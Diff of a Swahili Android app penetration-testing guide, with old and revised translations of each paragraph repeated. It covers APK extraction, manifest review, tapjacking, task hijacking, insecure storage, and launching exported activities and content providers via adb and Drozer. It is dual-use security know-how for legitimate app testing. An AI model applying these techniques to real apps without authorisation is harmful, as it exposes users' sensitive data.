[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
## Njia nyingine za kuvutia
@ -36,7 +36,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Unganisha vipasuo vyote na apks za msingi kwa kutumia [APKEditor](https://github.com/REAndroid/APKEditor):
- Unganisha vipande vyote na apks za msingi kwa kutumia [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -56,28 +56,28 @@ Kwa kuangalia tu **nyuzi** za APK unaweza kutafuta **nywila**, **URLs** ([https:
**Firebase**
Tazama kwa makini **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa zaidi kuhusu nini FIrebase na jinsi ya kuitumia hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Lipa kipaumbele maalum kwa **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa zaidi kuhusu nini FIrebase na jinsi ya kuikandamiza hapa.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Basic understanding of the application - Manifest.xml, strings.xml
**uchambuzi wa faili za \_Manifest.xml**_\*\* na \*\*_**strings.xml**\_\*\* unaweza kufichua udhaifu wa usalama\*\*. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili la APK kuwa .zip na kisha kuzipa.
**Uchambuzi wa faili za _Manifest.xml_ za programu na **_strings.xml_** unaweza kufichua udhaifu wa usalama**. Faili hizi zinaweza kufikiwa kwa kutumia decompilers au kwa kubadilisha kiendelezi cha faili cha APK kuwa .zip na kisha kuzipa.
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
- **Programu zinazoweza kufanyiwa uchambuzi**: Programu zilizowekwa kama debuggable (`debuggable="true"`) katika faili la _Manifest.xml_ zina hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha matumizi mabaya. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kufanyiwa uchambuzi, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kufanyiwa uchambuzi kwenye kifaa.
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili ya _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha unyakuzi. Kwa ufahamu zaidi kuhusu jinsi ya kuikandamiza programu zinazoweza kudhibitiwa, rejelea mafunzo kuhusu kutafuta na kuikandamiza programu zinazoweza kudhibitiwa kwenye kifaa.
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
- **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kutumia vipengele hivi.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa.
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa matumizi mabaya, huku kukitolewa kipaumbele kwa jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
- **Shughuli na Huduma zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kuikandamiza vipengele hivi.
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa kwa makini.
- **Vikumbusho vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa unyakuzi, huku kukiwa na umakini maalum kuhusu jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikionyesha umuhimu wa kutosupport toleo la Android lililozeeka na lenye udhaifu kwa sababu za usalama.
Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango ya kawaida, na maelezo mengine ya waendelezaji yanaweza kugundulika, yakisisitiza hitaji la ukaguzi wa makini wa rasilimali hizi.
### Tapjacking
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
Kwa kweli, inamfanya mtumiaji **kutojua kwamba anafanya vitendo kwenye programu ya mwathirika**.
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\
Kwa kweli, inamfanya mtumiaji **asiweze kujua kwamba anafanya vitendo kwenye programu ya mwathirika**.
Pata taarifa zaidi katika:
@ -87,7 +87,7 @@ tapjacking.md
### Task Hijacking
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa ina hatari ya hijacking ya kazi. Hii inamaanisha kwamba **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
**Shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa task Hijacking. Hii inamaanisha kwamba, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia halisi**).
Taarifa zaidi katika:
@ -99,31 +99,31 @@ android-task-hijacking.md
**Hifadhi ya Ndani**
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Hatua hii ya usalama inatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla inatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili **kushirikiwa** kati ya programu tofauti. Hata hivyo, njia hizi **hazizuizi ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
1. **Uchambuzi wa Kimuundo:**
- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usioidhinishwa**.
2. **Uchambuzi wa Kijamii:**
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
1. **Static Analysis:**
- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**.
2. **Dynamic Analysis:**
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizotengenezwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
**Hifadhi ya Nje**
Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani inapaswa kuchukuliwa:
Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, tahadhari fulani zinapaswa kuchukuliwa:
1. **Ufikivu**:
1. **Upatikanaji**:
- Faili kwenye hifadhi ya nje ni **zinazosomeka na kuandikwa duniani kote**. Hii inamaanisha programu au mtumiaji yeyote anaweza kufikia faili hizi.
2. **Masuala ya Usalama**:
- Kwa kuzingatia urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
- Kwa sababu ya urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kuifanya kuwa na usalama mdogo.
3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
- Kuhifadhi executable au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutozwa.
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
- Ikiwa programu yako inapaswa kupata faili za executable kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya cryptographic** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!NOTE]
> Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine.
> Kuanzia na Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine.
**Taarifa nyeti zilizohifadhiwa kwa maandiko wazi**
@ -143,17 +143,17 @@ Njia nzuri ya kujaribu hii ni kujaribu kukamata trafiki kwa kutumia proxy kama B
### Uthibitishaji wa Kificho
**Mchakato Duni wa Usimamizi wa Funguo**
**Mchakato Mbaya wa Usimamizi wa Funguo**
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa ngumu/kupangwa katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
Wakandarasi wengine huhifadhi data nyeti katika hifadhi ya ndani na kuificha kwa funguo zilizowekwa kwa nguvu/kutabirika katika msimbo. Hii haipaswi kufanywa kwani baadhi ya kurudi nyuma kunaweza kuruhusu washambuliaji kutoa taarifa za siri.
**Matumizi ya Algorithimu zisizo Salama na/au Zilizopitwa na Wakati**
Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi wa uthibitishaji**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi.
Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **ukaguzi**, **hifadhi** au **tuma** data. Baadhi ya algorithimu hizi ni: RC4, MD4, MD5, SHA1... Ikiwa **hashes** zinatumika kuhifadhi nywila kwa mfano, hashes zinazopinga **brute-force** zinapaswa kutumika na chumvi.
### Ukaguzi Mwingine
- Inapendekezwa **kuhifadhi APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
- Inapendekezwa **kuficha APK** ili kufanya kazi ya mhandisi wa kurudi kuwa ngumu kwa washambuliaji.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kufanya **ukaguzi wake mwenyewe kuona kama simu imejikita** na kuchukua hatua zinazofaa.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa kuangalia kama **emulator** inatumika.
- Ikiwa programu ni nyeti (kama programu za benki), inapaswa **kuangalia uadilifu wake kabla ya kutekeleza** ili kuona kama imebadilishwa.
@ -177,11 +177,11 @@ Soma ukurasa ufuatao kujifunza jinsi ya kufikia kwa urahisi msimbo wa C# wa prog
### Programu za Superpacked
Kulingana na [**blogu hii**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshughulikia maudhui ya programu katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshughulikia programu hizi... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshughulikiwa kutoka kwa mfumo wa faili.**
Kulingana na [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked ni algorithimu ya Meta inayoshinikiza maudhui ya programu kuwa katika faili moja. Blogu inazungumzia uwezekano wa kuunda programu inayoshinikiza aina hizi za programu... na njia ya haraka ambayo inahusisha **kutekeleza programu na kukusanya faili zilizoshinikizwa kutoka kwa mfumo wa faili.**
### Uchambuzi wa Msimbo wa Kawaida
### Uchambuzi wa Msimbo wa Kawaida wa Kiotomatiki
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vinavyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Chombo [**mariana-trench**](https://github.com/facebook/mariana-trench) kina uwezo wa kupata **vulnerabilities** kwa **kuchanganua** **msimbo** wa programu. Chombo hiki kina mfululizo wa **vyanzo vilivyofahamika** (ambavyo vinaonyesha kwa chombo **mahali** ambapo **ingizo** linadhibitiwa na mtumiaji), **sinks** (ambazo zinaonyesha kwa chombo **mahali hatari** ambapo ingizo la mtumiaji mbaya linaweza kusababisha madhara) na **sheria**. Sheria hizi zinaonyesha **mchanganyiko** wa **vyanzo-sinks** unaoashiria udhaifu.
Kwa maarifa haya, **mariana-trench itakagua msimbo na kupata udhaifu unaowezekana ndani yake**.
@ -197,9 +197,9 @@ bypass-biometric-authentication-android.md
### Kazi Nyingine za Kuvutia
- **Utekelezaji wa msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Utekelezaji wa Msimbo**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Tuma SMS**: `sendTextMessage, sendMultipartTestMessage`
- **Kazi za asili** zilizotangazwa kama `native`: `public native, System.loadLibrary, System.load`
- **Kazi za Asili** zilizotangazwa kama `native`: `public native, System.loadLibrary, System.load`
- [Soma hii kujifunza **jinsi ya kurudi nyuma kazi za asili**](reversing-native-libraries.md)
### **Hila Nyingine**
@ -230,20 +230,20 @@ Shukrani kwa muunganisho wa ADB unaweza kutumia **Drozer** na **Frida** ndani ya
#### Kutumia emulator
- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye polepole).
- [**Android Studio**](https://developer.android.com/studio) (Unaweza kuunda **x86** na **arm** vifaa, na kulingana na [**hii**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**toleo la hivi karibuni la x86** lina **unga mkono maktaba za ARM** bila kuhitaji emulator ya arm yenye kasi polepole).
- Jifunze jinsi ya kuiseti kwenye ukurasa huu:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Toleo la Bure:** Toleo la Kibinafsi, unahitaji kuunda akaunti. _Inapendekezwa **kupakua** toleo **NA**_ _**VirtualBox** ili kuepuka makosa yanayoweza kutokea._)
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Toleo la Bure:** Toleo la Kibinafsi, unahitaji kuunda akaunti. _Inapendekezwa **kupakua** toleo **PAMOJA NA**_ _**VirtualBox** ili kuepuka makosa yanayoweza kutokea._)
- [**Nox**](https://es.bignox.com) (Bure, lakini haunga mkono Frida au Drozer).
> [!NOTE]
> Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Hivyo chagua skrini ndogo ikiwa inawezekana.
> Unapounda emulator mpya kwenye jukwaa lolote kumbuka kwamba kadri skrini inavyokuwa kubwa, ndivyo emulator itakavyokuwa polepole. Kwa hivyo chagua skrini ndogo ikiwa inawezekana.
Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu katika picha ifuatayo:
Ili **kufunga huduma za google** (kama AppStore) katika Genymotion unahitaji kubofya kitufe kilichochorwa kwa rangi nyekundu kwenye picha ifuatayo:
![](<../../images/image (277).png>)
@ -257,20 +257,20 @@ Unahitaji kuwasha **chaguzi za ufuatiliaji** na itakuwa vizuri ikiwa unaweza **k
2. (Kuanzia Android 8.0) Chagua **Mfumo**.
3. Chagua **Kuhusu simu**.
4. Bonyeza **Nambari ya Ujenzi** mara 7.
5. Rudi nyuma na utapata **Chaguzi za Mwandamizi**.
5. Rudi nyuma na utaona **Chaguzi za Mwandamizi**.
> Mara tu unapofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia MobSF uchambuzi wa kijani + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
> Mara tu umepofunga programu, jambo la kwanza unapaswa kufanya ni kujaribu na kuchunguza inafanya nini, inafanya kazi vipi na kuzoea nayo.\
> Nitapendekeza **kufanya uchambuzi huu wa awali wa kijani kwa kutumia uchambuzi wa kijani wa MobSF + pidcat**, ili tuweze **kujifunza jinsi programu inavyofanya kazi** wakati MobSF **inakamata** data nyingi **za kuvutia** ambazo unaweza kupitia baadaye.
### Kuvuja kwa Data zisizokusudiwa
**Kumbukumbu**
Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** hadharani, kwani inaweza kusababisha kuvuja kwa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa kufuatilia kumbukumbu za programu ili kubaini na kulinda taarifa nyeti. **Pidcat** inapendekezwa kwa urahisi wa matumizi na usomaji.
Wakandarasi wanapaswa kuwa waangalifu kuhusu kufichua **taarifa za ufuatiliaji** hadharani, kwani inaweza kusababisha kuvuja kwa data nyeti. Zana [**pidcat**](https://github.com/JakeWharton/pidcat) na `adb logcat` zinapendekezwa kwa ajili ya kufuatilia kumbukumbu za programu ili kubaini na kulinda taarifa nyeti. **Pidcat** inapendekezwa kwa urahisi wa matumizi na usomaji.
> [!WARNING]
> Kumbuka kwamba kuanzia **baada ya Android 4.0**, **programu zinaweza kufikia kumbukumbu zao tu**. Hivyo programu haziwezi kufikia kumbukumbu za programu nyingine.\
> Hata hivyo, bado inapendekezwa **kutokufichua taarifa nyeti**.
> Hata hivyo, bado inapendekezwa **kutokuficha taarifa nyeti**.
**Kuhifadhi Kumbukumbu za Nakala/Pasta**
@ -278,38 +278,38 @@ Mfumo wa **clipboard-based** wa Android unaruhusu kazi za nakala-na-pasta katika
**Kumbukumbu za Kuanguka**
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kufichua kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
Ikiwa programu **inaanguka** na **kuhifadhi kumbukumbu**, kumbukumbu hizi zinaweza kusaidia washambuliaji, hasa wakati programu haiwezi kurudi nyuma. Ili kupunguza hatari hii, epuka kuficha kumbukumbu wakati wa kuanguka, na ikiwa kumbukumbu lazima zitumwe kupitia mtandao, hakikisha zinatumwa kupitia njia ya SSL kwa usalama.
Kama pentester, **jaribu kuangalia kumbukumbu hizi**.
**Taarifa za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
**Data za Uchambuzi Zinatumwa kwa Vyama vya Tatu**
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inashauriwa **kuingilia trafiki ya programu** na kuangalia ikiwa kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
Programu mara nyingi hujumuisha huduma kama Google Adsense, ambazo zinaweza bila kukusudia **kuvuja data nyeti** kutokana na utekelezaji usio sahihi na wakandarasi. Ili kubaini uwezekano wa kuvuja kwa data, inapendekezwa **kukamata trafiki ya programu** na kuangalia kama kuna taarifa nyeti zinazotumwa kwa huduma za vyama vya tatu.
### SQLite DBs
Programu nyingi zitatumia **maktaba za ndani za SQLite** kuhifadhi taarifa. Wakati wa pentest angalia **maktaba** zilizoundwa, majina ya **meza** na **safu** na data yote **iliyohifadhiwa** kwa sababu unaweza kupata **taarifa nyeti** (ambayo itakuwa udhaifu).\
Maktaba zinapaswa kuwa katika `/data/data/the.package.name/databases` kama `/data/data/com.mwr.example.sieve/databases`
Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **neno la siri** ndani ya programu bado ni **udhaifu**.
Ikiwa maktaba inahifadhi taarifa za siri na ime **fichwa** lakini unaweza **kupata** **nywila** ndani ya programu bado ni **udhaifu**.
Taja meza kwa kutumia `.tables` na taja safu za meza kwa kufanya `.schema <table_name>`
### Drozer (Shughuli za Kutekeleza, Watoa Maudhui na Huduma)
### Drozer (Kuvunja Shughuli, Watoa Maudhui na Huduma)
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini. .\
Drozer ni chombo muhimu kwa **kufanya kazi za kutekeleza zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zifuatazo.
Kutoka [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** inakuruhusu **kuchukua jukumu la programu ya Android** na kuingiliana na programu nyingine. Inaweza kufanya **chochote ambacho programu iliyosakinishwa inaweza kufanya**, kama kutumia mfumo wa Mawasiliano ya Mchakato wa Android (IPC) na kuingiliana na mfumo wa uendeshaji wa chini.\
Drozer ni chombo muhimu kwa **kuvunja shughuli zilizotolewa, huduma zilizotolewa na Watoa Maudhui** kama utakavyofundishwa katika sehemu zinazofuata.
### Kutilia Mkazo Shughuli za Kutekeleza
### Kuvunja Shughuli Zilizotolewa
[**Soma hii ikiwa unataka kufreshi kile ni Shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
[**Soma hii ikiwa unataka kufreshi kile kilicho shughuli ya Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Pia kumbuka kwamba msimbo wa shughuli huanza katika **`onCreate`** njia.
**Kupita Uthibitishaji**
Wakati Shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
Wakati shughuli inapotolewa unaweza kuita skrini yake kutoka programu ya nje. Kwa hivyo, ikiwa shughuli yenye **taarifa nyeti** ime **tolewa** unaweza **kupita** mitambo ya **uthibitishaji** **ili kuipata.**
[**Jifunze jinsi ya kutumia Drozer kutekeleza shughuli zilizotolewa.**](drozer-tutorial/index.html#activities)
[**Jifunze jinsi ya kuvunja shughuli zilizotolewa na Drozer.**](drozer-tutorial/index.html#activities)
Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
@ -318,7 +318,7 @@ Unaweza pia kuanzisha shughuli iliyotolewa kutoka adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), inaonekana hii ni hatari tu katika toleo za zamani (API versions < 21).
**NOTE**: MobSF itagundua kama hatari matumizi ya _**singleTask/singleInstance**_ kama `android:launchMode` katika shughuli, lakini kutokana na [hii](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), kwa wazi hii ni hatari tu katika toleo za zamani (API versions < 21).
> [!NOTE]
> Kumbuka kwamba kupita kwa idhini si kila wakati udhaifu, itategemea jinsi kupita kunavyofanya kazi na ni taarifa gani zinazoonyeshwa.
@ -334,7 +334,7 @@ Ikiwa tapjacking haizuiwi, unaweza kutumia shughuli iliyosambazwa kufanya **mtum
### Kutumia Watoa Maudhui - Kufikia na kubadilisha taarifa nyeti
[**Soma hii ikiwa unataka kukumbusha nini ni Mtoa Maudhui.**](android-applications-basics.md#content-provider)\
Watoa maudhui kimsingi hutumiwa **kushiriki data**. Ikiwa programu ina watoa maudhui wanaopatikana unaweza kuwa na uwezo wa **kuchota taarifa nyeti** kutoka kwao. Pia ni ya kuvutia kujaribu **SQL injections** na **Path Traversals** kwani zinaweza kuwa na udhaifu.
Watoa maudhui kimsingi hutumiwa **kushiriki data**. Ikiwa programu ina watoa maudhui wanaopatikana unaweza kuwa na uwezo wa **kuchota taarifa nyeti** kutoka kwao. Pia ni muhimu kujaribu **SQL injections** na **Path Traversals** kwani zinaweza kuwa na udhaifu.
[**Jifunze jinsi ya kutumia Watoa Maudhui na Drozer.**](drozer-tutorial/index.html#content-providers)
@ -351,12 +351,12 @@ Huduma kimsingi ni kitu ambacho **kinaweza kupokea data**, **kuchakata** na **ku
[**Soma hii ikiwa unataka kukumbusha nini ni Vastika za Matangazo.**](android-applications-basics.md#broadcast-receivers)\
Kumbuka kwamba vitendo vya Vastika za Matangazo huanza katika njia `onReceive`.
Vastika ya matangazo itakuwa ikisubiri aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
Vastika za matangazo zitakuwa zinangoja aina fulani ya ujumbe. Kulingana na jinsi vastika inavyoshughulikia ujumbe inaweza kuwa na udhaifu.\
